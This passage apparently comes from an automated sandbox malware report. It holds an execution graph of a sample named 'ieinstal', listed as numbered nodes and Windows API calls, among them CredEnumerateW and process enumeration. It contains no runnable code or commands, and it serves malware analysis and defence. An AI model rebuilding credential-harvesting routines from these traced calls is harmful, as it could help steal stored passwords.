                                                                                                                            • Not Executed
                                                                                                                            control_flow_graph 0 321dd52-321dd76 TerminateThread 1 321b4ab-321b4ce 0->1 2 321dd7c-321dddd 0->2 1->0
                                                                                                                            APIs
                                                                                                                            Strings
                                                                                                                            Memory Dump Source
                                                                                                                            • Source File: 0000001A.00000002.6335986320.0000000003210000.00000040.00000400.00020000.00000000.sdmp, Offset: 03210000, based on PE: false
                                                                                                                            Joe Sandbox IDA Plugin
                                                                                                                            • Snapshot File: hcaresult_26_2_3210000_ieinstal.jbxd
                                                                                                                            Similarity
                                                                                                                            • API ID: TerminateThread
                                                                                                                            • String ID: ($A7:0
                                                                                                                            • API String ID: 1852365436-1870695844
                                                                                                                            • Opcode ID: 379111bca57223275cdba2dc3f6f43589e2141f74d0259f6e26b384864049d47
                                                                                                                            • Instruction ID: 4f5f327b28c721832d7b89feb977d037c012e58c43a61095c35c2fd0b6cd19a7
                                                                                                                            • Opcode Fuzzy Hash: 379111bca57223275cdba2dc3f6f43589e2141f74d0259f6e26b384864049d47
                                                                                                                            • Instruction Fuzzy Hash: F9F05C6514230269D719B9349EDABF13BD69F333E0F1C4268ECD20F0C2C702018B9521
                                                                                                                            Uniqueness

                                                                                                                            Uniqueness Score: -1.00%

                                                                                                                            Execution Graph

                                                                                                                            Execution Coverage:6.8%
                                                                                                                            Dynamic/Decrypted Code Coverage:9.2%
                                                                                                                            Signature Coverage:1.9%
                                                                                                                            Total number of Nodes:2000
                                                                                                                            Total number of Limit Nodes:83
                                                                                                                            execution_graph 40338 441819 40341 430737 40338->40341 40340 441825 40342 430756 40341->40342 40354 43076d 40341->40354 40343 430774 40342->40343 40344 43075f 40342->40344 40355 43034a 40343->40355 40366 4169a7 11 API calls 40344->40366 40347 4307ce 40349 430819 memset 40347->40349 40359 415b2c 40347->40359 40348 43077e 40348->40347 40352 4307fa 40348->40352 40348->40354 40349->40354 40351 4307e9 40351->40349 40351->40354 40367 4169a7 11 API calls 40352->40367 40354->40340 40356 43034e 40355->40356 40358 430359 40355->40358 40368 415c23 memcpy 40356->40368 40358->40348 40360 415b42 40359->40360 40365 415b46 40359->40365 40361 415b94 40360->40361 40363 415b5a 40360->40363 40360->40365 40362 4438b5 10 API calls 40361->40362 40362->40365 40364 415b79 memcpy 40363->40364 40363->40365 40364->40365 40365->40351 40366->40354 40367->40354 40368->40358 37650 442ec6 19 API calls 37827 4152c6 malloc 37828 4152e2 37827->37828 37829 4152ef 37827->37829 37831 416760 11 API calls 37829->37831 37831->37828 37832 4466f4 37851 446904 37832->37851 37834 446700 GetModuleHandleA 37837 446710 __set_app_type __p__fmode __p__commode 37834->37837 37836 4467a4 37838 4467ac __setusermatherr 37836->37838 37839 4467b8 37836->37839 37837->37836 37838->37839 37852 4468f0 _controlfp 37839->37852 37841 4467bd _initterm __wgetmainargs _initterm 37842 44681e GetStartupInfoW 37841->37842 37843 446810 37841->37843 37845 446866 GetModuleHandleA 37842->37845 37853 41276d 37845->37853 37849 446896 exit 37850 44689d _cexit 37849->37850 37850->37843 37851->37834 37852->37841 37854 41277d 37853->37854 37896 4044a4 LoadLibraryW 37854->37896 37856 412785 37857 412789 37856->37857 37904 414b81 37856->37904 37857->37849 37857->37850 37860 4127c8 37910 412465 memset ??2@YAPAXI 37860->37910 37862 4127ea 37922 40ac21 37862->37922 37867 412813 37940 40dd07 memset 37867->37940 37868 412827 37945 40db69 memset 37868->37945 37871 412822 37966 4125b6 ??3@YAXPAX 37871->37966 37873 40ada2 _wcsicmp 37875 41283d 37873->37875 37875->37871 37878 412863 CoInitialize 37875->37878 37950 41268e 37875->37950 37970 4123e2 GetModuleHandleW RegisterClassW GetModuleHandleW CreateWindowExW 37878->37970 37880 41296f 37972 40b633 37880->37972 37882 412873 ShowWindow UpdateWindow GetModuleHandleW LoadAcceleratorsW GetMessageW 37888 412957 37882->37888 37891 4128ca 37882->37891 37888->37871 37889 4128d0 TranslateAcceleratorW 37890 412941 GetMessageW 37889->37890 37889->37891 37890->37888 37890->37889 37891->37889 37892 412909 IsDialogMessageW 37891->37892 37893 4128fd IsDialogMessageW 37891->37893 37894 41292b TranslateMessage DispatchMessageW 37891->37894 37895 41291f IsDialogMessageW 37891->37895 37892->37890 37892->37891 37893->37890 37893->37892 37894->37890 37895->37890 37895->37894 37897 4044f7 37896->37897 37898 4044cf GetProcAddress 37896->37898 37902 404507 MessageBoxW 37897->37902 37903 40451e 37897->37903 37899 4044e8 FreeLibrary 37898->37899 37900 4044df 37898->37900 37899->37897 37901 4044f3 37899->37901 37900->37899 37901->37897 37902->37856 37903->37856 37905 414b8a 37904->37905 37906 412794 SetErrorMode GetModuleHandleW EnumResourceTypesW 37904->37906 37976 40a804 memset 37905->37976 37906->37860 37909 414b9e GetProcAddress 37909->37906 37911 4124e0 37910->37911 37912 412505 ??2@YAPAXI 37911->37912 37913 41251c 37912->37913 37916 412521 37912->37916 37998 40e820 memset ??2@YAPAXI ??2@YAPAXI ??2@YAPAXI ??2@YAPAXI 37913->37998 37987 444722 37916->37987 37921 41259b wcscpy 37921->37862 38003 40b1ab ??3@YAXPAX ??3@YAXPAX 37922->38003 37926 40ad4b 37935 40ad76 37926->37935 38027 40a9ce 37926->38027 37927 40a9ce malloc memcpy ??3@YAXPAX ??3@YAXPAX 37928 40ac5c 37927->37928 37928->37926 37928->37927 37930 40ace7 ??3@YAXPAX 37928->37930 37928->37935 38007 40a8d0 37928->38007 38019 4099f4 37928->38019 37930->37928 37934 40a8d0 7 API calls 37934->37935 38004 40aa04 37935->38004 37936 40ada2 37938 40adc9 37936->37938 37939 40adaa 37936->37939 37937 40adb3 _wcsicmp 37937->37938 37937->37939 37938->37867 37938->37868 37939->37937 37939->37938 38032 40dce0 37940->38032 37942 40dd3a GetModuleHandleW 38037 40dba7 37942->38037 37946 40dce0 3 API calls 37945->37946 37947 40db99 37946->37947 38109 40dae1 37947->38109 38123 402f3a 37950->38123 37952 412766 37952->37871 37952->37878 37953 4126d3 _wcsicmp 37954 4126a8 37953->37954 37954->37952 37954->37953 37956 41270a 37954->37956 38158 4125f8 7 API calls 37954->38158 37956->37952 38126 411ac5 37956->38126 37967 4125da 37966->37967 37968 4125f0 37967->37968 37969 4125e6 DeleteObject 37967->37969 37971 40b1ab ??3@YAXPAX ??3@YAXPAX 37968->37971 37969->37968 37970->37882 37971->37880 37973 40b640 37972->37973 37974 40b639 ??3@YAXPAX 37972->37974 37975 40b1ab ??3@YAXPAX ??3@YAXPAX 37973->37975 37974->37973 37975->37857 37977 40a83b GetSystemDirectoryW 37976->37977 37978 40a84c wcscpy 37976->37978 37977->37978 37983 409719 wcslen 37978->37983 37981 40a881 LoadLibraryW 37982 40a886 37981->37982 37982->37906 37982->37909 37984 409724 37983->37984 37985 409739 wcscat LoadLibraryW 37983->37985 37984->37985 37986 40972c wcscat 37984->37986 37985->37981 37985->37982 37986->37985 37988 444732 37987->37988 37989 444728 DeleteObject 37987->37989 37999 409cc3 37988->37999 37989->37988 37991 412551 37992 4010f9 37991->37992 37993 401130 37992->37993 37994 401134 GetModuleHandleW LoadIconW 37993->37994 37995 401107 wcsncat 37993->37995 37996 40a7be 37994->37996 37995->37993 37997 40a7d2 37996->37997 37997->37921 37997->37997 37998->37916 38002 409bfd memset wcscpy 37999->38002 38001 409cdb CreateFontIndirectW 38001->37991 38002->38001 38003->37928 38005 40aa14 38004->38005 38006 40aa0a ??3@YAXPAX 38004->38006 38005->37936 38006->38005 38008 40a8eb 38007->38008 38009 40a8df wcslen 38007->38009 38010 40a906 ??3@YAXPAX 38008->38010 38011 40a90f 38008->38011 38009->38008 38012 40a919 38010->38012 38013 4099f4 3 API calls 38011->38013 38014 40a932 38012->38014 38015 40a929 ??3@YAXPAX 38012->38015 38013->38012 38017 4099f4 3 API calls 38014->38017 38016 40a93e memcpy 38015->38016 38016->37928 38018 40a93d 38017->38018 38018->38016 38020 409a41 38019->38020 38021 4099fb malloc 38019->38021 38020->37928 38023 409a37 38021->38023 38024 409a1c 38021->38024 38023->37928 38025 409a30 ??3@YAXPAX 38024->38025 38026 409a20 memcpy 38024->38026 38025->38023 38026->38025 38028 40a9e7 38027->38028 38029 40a9dc ??3@YAXPAX 38027->38029 38031 4099f4 3 API calls 38028->38031 38030 40a9f2 38029->38030 38030->37934 38031->38030 38056 409bca GetModuleFileNameW 38032->38056 38034 40dce6 wcsrchr 38035 40dcf5 38034->38035 38036 40dcf9 wcscat 38034->38036 38035->38036 38036->37942 38057 44db70 38037->38057 38041 40dbfd 38060 4447d9 38041->38060 38044 40dc34 wcscpy wcscpy 38086 40d6f5 38044->38086 38045 40dc1f wcscpy 38045->38044 38048 40d6f5 3 API calls 38049 40dc73 38048->38049 38050 40d6f5 3 API calls 38049->38050 38051 40dc89 38050->38051 38052 40d6f5 3 API calls 38051->38052 38053 40dc9c EnumResourceNamesW EnumResourceNamesW wcscpy 38052->38053 38092 40da80 38053->38092 38056->38034 38058 40dbb4 memset memset 38057->38058 38059 409bca GetModuleFileNameW 38058->38059 38059->38041 38062 4447f4 38060->38062 38061 40dc1b 38061->38044 38061->38045 38062->38061 38063 444807 ??2@YAPAXI 38062->38063 38064 44481f 38063->38064 38065 444873 _snwprintf 38064->38065 38066 4448ab wcscpy 38064->38066 38099 44474a 8 API calls 38065->38099 38068 4448bb 38066->38068 38100 44474a 8 API calls 38068->38100 38069 4448a7 38069->38066 38069->38068 38071 4448cd 38101 44474a 8 API calls 38071->38101 38073 4448e2 38102 44474a 8 API calls 38073->38102 38075 4448f7 38103 44474a 8 API calls 38075->38103 38077 44490c 38104 44474a 8 API calls 38077->38104 38079 444921 38105 44474a 8 API calls 38079->38105 38081 444936 38106 44474a 8 API calls 38081->38106 38083 44494b 38107 44474a 8 API calls 38083->38107 38085 444960 ??3@YAXPAX 38085->38061 38087 44db70 38086->38087 38088 40d702 memset GetPrivateProfileStringW 38087->38088 38089 40d752 38088->38089 38090 40d75c WritePrivateProfileStringW 38088->38090 38089->38090 38091 40d758 38089->38091 38090->38091 38091->38048 38093 44db70 38092->38093 38094 40da8d memset 38093->38094 38095 40daac LoadStringW 38094->38095 38096 40dac6 38095->38096 38096->38095 38098 40dade 38096->38098 38108 40d76e memset GetPrivateProfileStringW WritePrivateProfileStringW memset _itow 38096->38108 38098->37871 38099->38069 38100->38071 38101->38073 38102->38075 38103->38077 38104->38079 38105->38081 38106->38083 38107->38085 38108->38096 38119 409b98 GetFileAttributesW 38109->38119 38111 40daea 38112 40db63 38111->38112 38113 40daef wcscpy wcscpy GetPrivateProfileIntW 38111->38113 38112->37873 38120 40d65d GetPrivateProfileStringW 38113->38120 38115 40db3e 38121 40d65d GetPrivateProfileStringW 38115->38121 38117 40db4f 38122 40d65d GetPrivateProfileStringW 38117->38122 38119->38111 38120->38115 38121->38117 38122->38112 38159 40eaff 38123->38159 38127 411ae2 memset 38126->38127 38128 411b8f 38126->38128 38199 409bca GetModuleFileNameW 38127->38199 38140 411a8b 38128->38140 38130 411b0a wcsrchr 38131 411b22 wcscat 38130->38131 38132 411b1f 38130->38132 38200 414770 wcscpy wcscpy wcscpy CreateFileW CloseHandle 38131->38200 38132->38131 38134 411b67 38201 402afb 38134->38201 38138 411b7f 38257 40ea13 SendMessageW memset SendMessageW 38138->38257 38141 402afb 27 API calls 38140->38141 38142 411ac0 38141->38142 38143 4110dc 38142->38143 38144 41113e 38143->38144 38149 4110f0 38143->38149 38318 40969c LoadCursorW SetCursor 38144->38318 38146 411143 38156 40b633 ??3@YAXPAX 38146->38156 38319 444a54 38146->38319 38322 4032b4 38146->38322 38147 4110f7 _wcsicmp 38147->38149 38148 411157 38150 40ada2 _wcsicmp 38148->38150 38149->38144 38149->38147 38340 410c46 10 API calls 38149->38340 38153 411167 38150->38153 38151 4111af 38153->38151 38154 4111a6 qsort 38153->38154 38154->38151 38156->38148 38158->37954 38160 40eb10 38159->38160 38172 40e8e0 38160->38172 38163 40eb6c memcpy memcpy 38166 40ebb7 38163->38166 38164 40d134 16 API calls 38164->38166 38165 40ebf2 ??2@YAPAXI ??2@YAPAXI 38167 40ec2e ??2@YAPAXI 38165->38167 38171 40ec65 38165->38171 38166->38163 38166->38164 38166->38165 38167->38171 38170 402f49 38170->37954 38182 40ea7f 38171->38182 38173 40e8f2 38172->38173 38174 40e8eb ??3@YAXPAX 38172->38174 38175 40e900 38173->38175 38176 40e8f9 ??3@YAXPAX 38173->38176 38174->38173 38177 40e90a ??3@YAXPAX 38175->38177 38179 40e911 38175->38179 38176->38175 38177->38179 38178 40e931 ??2@YAPAXI ??2@YAPAXI 38178->38163 38179->38178 38180 40e921 ??3@YAXPAX 38179->38180 38181 40e92a ??3@YAXPAX 38179->38181 38180->38181 38181->38178 38183 40aa04 ??3@YAXPAX 38182->38183 38184 40ea88 38183->38184 38185 40aa04 ??3@YAXPAX 38184->38185 38186 40ea90 38185->38186 38187 40aa04 ??3@YAXPAX 38186->38187 38188 40ea98 38187->38188 38189 40aa04 ??3@YAXPAX 38188->38189 38190 40eaa0 38189->38190 38191 40a9ce 4 API calls 38190->38191 38192 40eab3 38191->38192 38193 40a9ce 4 API calls 38192->38193 38194 40eabd 38193->38194 38195 40a9ce 4 API calls 38194->38195 38196 40eac7 38195->38196 38197 40a9ce 4 API calls 38196->38197 38198 40ead1 38197->38198 38198->38170 38199->38130 38200->38134 38258 40b2cc 38201->38258 38203 402b0a 38204 40b2cc 27 API calls 38203->38204 38205 402b23 38204->38205 38206 40b2cc 27 API calls 38205->38206 38207 402b3a 38206->38207 38208 40b2cc 27 API calls 38207->38208 38209 402b54 38208->38209 38210 40b2cc 27 API calls 38209->38210 38211 402b6b 38210->38211 38212 40b2cc 27 API calls 38211->38212 38213 402b82 38212->38213 38214 40b2cc 27 API calls 38213->38214 38215 402b99 38214->38215 38216 40b2cc 27 API calls 38215->38216 38217 402bb0 38216->38217 38218 40b2cc 27 API calls 38217->38218 38219 402bc7 38218->38219 38220 40b2cc 27 API calls 38219->38220 38221 402bde 38220->38221 38222 40b2cc 27 API calls 38221->38222 38223 402bf5 38222->38223 38224 40b2cc 27 API calls 38223->38224 38225 402c0c 38224->38225 38226 40b2cc 27 API calls 38225->38226 38227 402c23 38226->38227 38228 40b2cc 27 API calls 38227->38228 38229 402c3a 38228->38229 38230 40b2cc 27 API calls 38229->38230 38231 402c51 38230->38231 38232 40b2cc 27 API calls 38231->38232 38233 402c68 38232->38233 38234 40b2cc 27 API calls 38233->38234 38235 402c7f 38234->38235 38236 40b2cc 27 API calls 38235->38236 38237 402c99 38236->38237 38238 40b2cc 27 API calls 38237->38238 38239 402cb3 38238->38239 38240 40b2cc 27 API calls 38239->38240 38241 402cd5 38240->38241 38242 40b2cc 27 API calls 38241->38242 38243 402cf0 38242->38243 38244 40b2cc 27 API calls 38243->38244 38245 402d0b 38244->38245 38246 40b2cc 27 API calls 38245->38246 38247 402d26 38246->38247 38248 40b2cc 27 API calls 38247->38248 38249 402d3e 38248->38249 38250 40b2cc 27 API calls 38249->38250 38251 402d59 38250->38251 38252 40b2cc 27 API calls 38251->38252 38253 402d78 38252->38253 38254 40b2cc 27 API calls 38253->38254 38255 402d93 38254->38255 38256 4018db GetWindowPlacement memset GetSystemMetrics GetSystemMetrics SetWindowPlacement 38255->38256 38256->38138 38257->38128 38261 40b58d 38258->38261 38260 40b2d1 38260->38203 38262 40b5a4 GetModuleHandleW FindResourceW 38261->38262 38263 40b62e 38261->38263 38264 40b5c2 LoadResource 38262->38264 38266 40b5e7 38262->38266 38263->38260 38265 40b5d0 SizeofResource LockResource 38264->38265 38264->38266 38265->38266 38266->38263 38274 40afcf 38266->38274 38268 40b608 memcpy 38277 40b4d3 38268->38277 38275 40b04b ??3@YAXPAX 38274->38275 38276 40afd7 ??2@YAPAXI 38275->38276 38276->38268 38279 40b4ec 38277->38279 38278 40b584 38281 40b3c1 38278->38281 38279->38278 38280 40b563 memcpy 38279->38280 38280->38278 38280->38279 38282 44db70 38281->38282 38283 40b3ce memset 38282->38283 38284 40b3fa 38283->38284 38286 40b403 wcschr 38284->38286 38287 40b448 38284->38287 38303 40a5d0 38284->38303 38286->38284 38288 40b417 _wtoi 38286->38288 38290 40b04b 38287->38290 38293 40b2f5 38288->38293 38291 40b051 ??3@YAXPAX 38290->38291 38292 40b05f 38290->38292 38291->38292 38292->38263 38294 40b302 38293->38294 38307 40b1d1 wcslen 38294->38307 38296 40b319 memset WideCharToMultiByte 38317 40b0d1 7 API calls 38296->38317 38298 40b35a 38299 40b377 38298->38299 38300 40b369 ??3@YAXPAX 38298->38300 38301 40b391 38298->38301 38302 4099f4 3 API calls 38299->38302 38300->38301 38301->38284 38302->38301 38304 40a5e9 38303->38304 38305 40a5e5 38303->38305 38304->38305 38306 40a61e memcpy 38304->38306 38305->38284 38306->38305 38308 40b208 38307->38308 38309 40b1ff ??3@YAXPAX 38307->38309 38310 4099f4 3 API calls 38308->38310 38311 40b212 38309->38311 38310->38311 38312 40b222 ??3@YAXPAX 38311->38312 38313 40b22b 38311->38313 38314 40b237 memcpy 38312->38314 38315 4099f4 3 API calls 38313->38315 38314->38296 38316 40b236 38315->38316 38316->38314 38317->38298 38318->38146 38320 444a64 FreeLibrary 38319->38320 38321 444a83 38319->38321 38320->38321 38321->38148 38323 4032c4 38322->38323 38324 40b633 ??3@YAXPAX 38323->38324 38325 403316 38324->38325 38341 44553b 38325->38341 38329 403480 38537 40368c 15 API calls 38329->38537 38331 403489 38332 40b633 ??3@YAXPAX 38331->38332 38333 403495 38332->38333 38333->38148 38334 4033a9 memset memcpy 38335 4033ec wcscmp 38334->38335 38336 40333c 38334->38336 38335->38336 38336->38329 38336->38334 38336->38335 38535 4028e7 11 API calls 38336->38535 38536 40f508 6 API calls 38336->38536 38338 403421 _wcsicmp 38338->38336 38340->38149 38342 445548 38341->38342 38343 445599 38342->38343 38538 40c768 38342->38538 38345 4455a8 memset 38343->38345 38351 4457f2 38343->38351 38622 403988 38345->38622 38355 445854 38351->38355 38724 403e2d memset memset memset memset memset 38351->38724 38352 445672 38633 403fbe memset memset memset memset memset 38352->38633 38353 4458bb memset memset 38358 414c2e 16 API calls 38353->38358 38394 4458aa 38355->38394 38747 403c9c memset memset memset memset memset 38355->38747 38356 44595e memset memset 38360 414c2e 16 API calls 38356->38360 38357 4455e5 38357->38352 38367 44560f 38357->38367 38361 4458f9 38358->38361 38365 44599c 38360->38365 38366 40b2cc 27 API calls 38361->38366 38363 445823 38407 4087b3 338 API calls 38363->38407 38427 445849 38363->38427 38364 445a00 memset memset 38770 414c2e 38364->38770 38374 40b2cc 27 API calls 38365->38374 38375 445909 38366->38375 38377 4087b3 338 API calls 38367->38377 38368 445b38 memset memset memset 38379 445bd4 38368->38379 38380 445b98 38368->38380 38387 4459ac 38374->38387 38385 409d1f 6 API calls 38375->38385 38376 445c8b memset memset 38388 414c2e 16 API calls 38376->38388 38386 445621 38377->38386 38378 44557a 38402 44558c 38378->38402 38819 41366b FreeLibrary 38378->38819 38383 414c2e 16 API calls 38379->38383 38380->38379 38391 445ba2 38380->38391 38381 40b2cc 27 API calls 38393 445a4f 38381->38393 38396 445be2 38383->38396 38384 403335 38534 4452e5 45 API calls 38384->38534 38399 445919 38385->38399 38820 4454bf 20 API calls 38386->38820 38400 409d1f 6 API calls 38387->38400 38401 445cc9 38388->38401 38390 445879 38420 4087b3 338 API calls 38390->38420 38442 44589f 38390->38442 38907 4099c6 wcslen 38391->38907 38392 4456b2 38822 40b1ab ??3@YAXPAX ??3@YAXPAX 38392->38822 38785 409d1f wcslen wcslen 38393->38785 38394->38353 38426 44594a 38394->38426 38405 40b2cc 27 API calls 38396->38405 38397 445d3d 38425 40b2cc 27 API calls 38397->38425 38398 445d88 memset memset memset 38408 414c2e 16 API calls 38398->38408 38836 409b98 GetFileAttributesW 38399->38836 38409 4459bc 38400->38409 38410 409d1f 6 API calls 38401->38410 38606 444b06 38402->38606 38414 445bf3 38405->38414 38407->38363 38417 445dde 38408->38417 38903 409b98 GetFileAttributesW 38409->38903 38419 445ce1 38410->38419 38411 445bb3 38910 445403 memset 38411->38910 38412 445680 38412->38392 38656 4087b3 memset 38412->38656 38424 409d1f 6 API calls 38414->38424 38415 445928 38415->38426 38837 40b6ef 38415->38837 38428 40b2cc 27 API calls 38417->38428 38927 409b98 GetFileAttributesW 38419->38927 38420->38390 38423 40b2cc 27 API calls 38433 445a94 38423->38433 38435 445c07 38424->38435 38436 445d54 _wcsicmp 38425->38436 38426->38356 38440 4459ed 38426->38440 38834 40b1ab ??3@YAXPAX ??3@YAXPAX 38427->38834 38439 445def 38428->38439 38429 4459cb 38429->38440 38450 40b6ef 252 API calls 38429->38450 38432 445389 258 API calls 38443 445bca 38432->38443 38790 40ae18 38433->38790 38434 44566d 38434->38351 38707 413d4c 38434->38707 38446 445389 258 API calls 38435->38446 38447 445d71 38436->38447 38511 445d67 38436->38511 38438 445665 38821 40b1ab ??3@YAXPAX ??3@YAXPAX 38438->38821 38448 409d1f 6 API calls 38439->38448 38440->38364 38482 445b22 38440->38482 38441 445cf0 38441->38384 38441->38397 38441->38398 38835 40b1ab ??3@YAXPAX ??3@YAXPAX 38442->38835 38443->38376 38443->38441 38452 445c17 38446->38452 38928 445093 23 API calls 38447->38928 38455 445e03 38448->38455 38450->38440 38451 4456d8 38457 40b2cc 27 API calls 38451->38457 38458 40b2cc 27 API calls 38452->38458 38454 44563c 38454->38438 38460 4087b3 338 API calls 38454->38460 38929 409b98 GetFileAttributesW 38455->38929 38456 40b6ef 252 API calls 38456->38384 38462 4456e2 38457->38462 38463 445c23 38458->38463 38459 445d83 38459->38384 38460->38454 38823 413fa6 _wcsicmp _wcsicmp 38462->38823 38467 409d1f 6 API calls 38463->38467 38465 445e12 38471 445e6b 38465->38471 38478 40b2cc 27 API calls 38465->38478 38469 445c37 38467->38469 38468 4456eb 38474 4456fd memset memset memset memset 38468->38474 38475 4457ea 38468->38475 38476 445389 258 API calls 38469->38476 38470 445b17 38904 40aebe 38470->38904 38931 445093 23 API calls 38471->38931 38824 409c70 wcscpy wcsrchr 38474->38824 38827 413d29 38475->38827 38481 445c47 38476->38481 38483 445e33 38478->38483 38479 445e7e 38485 445f67 38479->38485 38488 40b2cc 27 API calls 38481->38488 38482->38368 38482->38443 38489 409d1f 6 API calls 38483->38489 38494 40b2cc 27 API calls 38485->38494 38486 445ab2 memset 38490 40b2cc 27 API calls 38486->38490 38492 445c53 38488->38492 38493 445e47 38489->38493 38496 445aa1 38490->38496 38491 409c70 2 API calls 38497 44577e 38491->38497 38498 409d1f 6 API calls 38492->38498 38930 409b98 GetFileAttributesW 38493->38930 38495 445f73 38494->38495 38501 409d1f 6 API calls 38495->38501 38496->38470 38496->38486 38502 409d1f 6 API calls 38496->38502 38797 40add4 38496->38797 38802 445389 38496->38802 38811 40ae51 38496->38811 38503 409c70 2 API calls 38497->38503 38504 445c67 38498->38504 38500 445e56 38500->38471 38508 445e83 memset 38500->38508 38505 445f87 38501->38505 38502->38496 38506 44578d 38503->38506 38507 445389 258 API calls 38504->38507 38934 409b98 GetFileAttributesW 38505->38934 38506->38475 38513 40b2cc 27 API calls 38506->38513 38507->38443 38512 40b2cc 27 API calls 38508->38512 38511->38384 38511->38456 38514 445eab 38512->38514 38515 4457a8 38513->38515 38516 409d1f 6 API calls 38514->38516 38517 409d1f 6 API calls 38515->38517 38518 445ebf 38516->38518 38519 4457b8 38517->38519 38520 40ae18 9 API calls 38518->38520 38826 409b98 GetFileAttributesW 38519->38826 38530 445ef5 38520->38530 38522 4457c7 38522->38475 38524 4087b3 338 API calls 38522->38524 38523 40ae51 9 API calls 38523->38530 38524->38475 38525 445f5c 38527 40aebe FindClose 38525->38527 38526 40add4 2 API calls 38526->38530 38527->38485 38528 40b2cc 27 API calls 38528->38530 38529 409d1f 6 API calls 38529->38530 38530->38523 38530->38525 38530->38526 38530->38528 38530->38529 38532 445f3a 38530->38532 38932 409b98 GetFileAttributesW 38530->38932 38933 445093 23 API calls 38532->38933 38534->38336 38535->38338 38536->38336 38537->38331 38539 40c775 38538->38539 38935 40b1ab ??3@YAXPAX ??3@YAXPAX 38539->38935 38541 40c788 38936 40b1ab ??3@YAXPAX ??3@YAXPAX 38541->38936 38543 40c790 38937 40b1ab ??3@YAXPAX ??3@YAXPAX 38543->38937 38545 40c798 38546 40aa04 ??3@YAXPAX 38545->38546 38547 40c7a0 38546->38547 38938 40c274 memset 38547->38938 38552 40a8ab 9 API calls 38553 40c7c3 38552->38553 38554 40a8ab 9 API calls 38553->38554 38555 40c7d0 38554->38555 38967 40c3c3 38555->38967 38559 40c7e5 38560 40c877 38559->38560 38561 40c86c 38559->38561 38567 40c634 49 API calls 38559->38567 38992 40a706 38559->38992 38568 40bdb0 38560->38568 39009 4053fe 39 API calls 38561->39009 38567->38559 39177 404363 38568->39177 38571 40bf63 39197 40440c 38571->39197 38572 40bdee 38572->38571 38576 40b2cc 27 API calls 38572->38576 38573 40bddf CredEnumerateW 38573->38572 38577 40be02 wcslen 38576->38577 38578 40bf5d LocalFree 38577->38578 38586 40be1e 38577->38586 38578->38571 38579 40be26 _wcsncoll 38579->38586 38582 40be7d memset 38583 40bea7 memcpy 38582->38583 38582->38586 38584 40bf11 wcschr 38583->38584 38583->38586 38584->38586 38585 40b2cc 27 API calls 38587 40bef6 _wcsnicmp 38585->38587 38586->38578 38586->38579 38586->38582 38586->38583 38586->38584 38586->38585 38588 40bf43 LocalFree 38586->38588 39200 40bd5d 28 API calls 38586->39200 39201 404423 38586->39201 38587->38584 38587->38586 38588->38586 38589 4135f7 39214 4135e0 38589->39214 38592 40b2cc 27 API calls 38593 41360d 38592->38593 38594 40a804 8 API calls 38593->38594 38595 413613 38594->38595 38596 41361b 38595->38596 38597 41363e 38595->38597 38598 40b273 27 API calls 38596->38598 38599 4135e0 FreeLibrary 38597->38599 38600 413625 GetProcAddress 38598->38600 38601 413643 38599->38601 38600->38597 38602 413648 38600->38602 38601->38378 38603 413658 38602->38603 38604 4135e0 FreeLibrary 38602->38604 38603->38378 38605 413666 38604->38605 38605->38378 39217 4449b9 38606->39217 38609 444c1f 38609->38343 38610 4449b9 42 API calls 38612 444b4b 38610->38612 38611 444c15 38614 4449b9 42 API calls 38611->38614 38612->38611 39238 444972 GetVersionExW 38612->39238 38614->38609 38615 444b99 memcmp 38619 444b8c 38615->38619 38616 444c0b 39242 444a85 42 API calls 38616->39242 38619->38615 38619->38616 39239 444aa5 42 API calls 38619->39239 39240 40a7a0 GetVersionExW 38619->39240 39241 444a85 42 API calls 38619->39241 38623 40399d 38622->38623 39243 403a16 38623->39243 38625 403a09 39257 40b1ab ??3@YAXPAX ??3@YAXPAX 38625->39257 38627 403a12 wcsrchr 38627->38357 38628 4039a3 38628->38625 38631 4039f4 38628->38631 39254 40a02c CreateFileW 38628->39254 38631->38625 38632 4099c6 2 API calls 38631->38632 38632->38625 38634 414c2e 16 API calls 38633->38634 38635 404048 38634->38635 38636 414c2e 16 API calls 38635->38636 38637 404056 38636->38637 38638 409d1f 6 API calls 38637->38638 38639 404073 38638->38639 38640 409d1f 6 API calls 38639->38640 38641 40408e 38640->38641 38642 409d1f 6 API calls 38641->38642 38643 4040a6 38642->38643 38644 403af5 20 API calls 38643->38644 38645 4040ba 38644->38645 38646 403af5 20 API calls 38645->38646 38647 4040cb 38646->38647 39284 40414f memset 38647->39284 38649 4040e0 38650 404140 38649->38650 38651 4040ec memset 38649->38651 38654 4099c6 2 API calls 38649->38654 38655 40a8ab 9 API calls 38649->38655 39298 40b1ab ??3@YAXPAX ??3@YAXPAX 38650->39298 38651->38649 38653 404148 38653->38412 38654->38649 38655->38649 39311 40a6e6 WideCharToMultiByte 38656->39311 38658 4087ed 39312 4095d9 memset 38658->39312 38661 408809 memset memset memset memset memset 38662 40b2cc 27 API calls 38661->38662 38663 4088a1 38662->38663 38664 409d1f 6 API calls 38663->38664 38665 4088b1 38664->38665 38666 40b2cc 27 API calls 38665->38666 38667 4088c0 38666->38667 38668 409d1f 6 API calls 38667->38668 38669 4088d0 38668->38669 38670 40b2cc 27 API calls 38669->38670 38671 4088df 38670->38671 38672 409d1f 6 API calls 38671->38672 38673 4088ef 38672->38673 38674 40b2cc 27 API calls 38673->38674 38675 4088fe 38674->38675 38676 409d1f 6 API calls 38675->38676 38677 40890e 38676->38677 38678 40b2cc 27 API calls 38677->38678 38679 40891d 38678->38679 38680 409d1f 6 API calls 38679->38680 38681 40892d 38680->38681 39331 409b98 GetFileAttributesW 38681->39331 38683 40893e 38684 408943 38683->38684 38685 408958 38683->38685 38688 408953 38688->38412 38708 40b633 ??3@YAXPAX 38707->38708 38709 413d65 CreateToolhelp32Snapshot memset Process32FirstW 38708->38709 38710 413f00 Process32NextW 38709->38710 38711 413da5 OpenProcess 38710->38711 38712 413f17 CloseHandle 38710->38712 38713 413df3 memset 38711->38713 38716 413eb0 38711->38716 38712->38451 39623 413f27 38713->39623 38715 413ebf ??3@YAXPAX 38715->38716 38716->38710 38716->38715 38717 4099f4 3 API calls 38716->38717 38717->38716 38718 413e37 GetModuleHandleW 38720 413e46 GetProcAddress 38718->38720 38721 413e1f 38718->38721 38720->38721 38721->38718 39628 413959 38721->39628 39644 413ca4 38721->39644 38723 413ea2 CloseHandle 38723->38716 38725 414c2e 16 API calls 38724->38725 38726 403eb7 38725->38726 38727 414c2e 16 API calls 38726->38727 38728 403ec5 38727->38728 38729 409d1f 6 API calls 38728->38729 38730 403ee2 38729->38730 38731 409d1f 6 API calls 38730->38731 38732 403efd 38731->38732 38733 409d1f 6 API calls 38732->38733 38734 403f15 38733->38734 38735 403af5 20 API calls 38734->38735 38736 403f29 38735->38736 38737 403af5 20 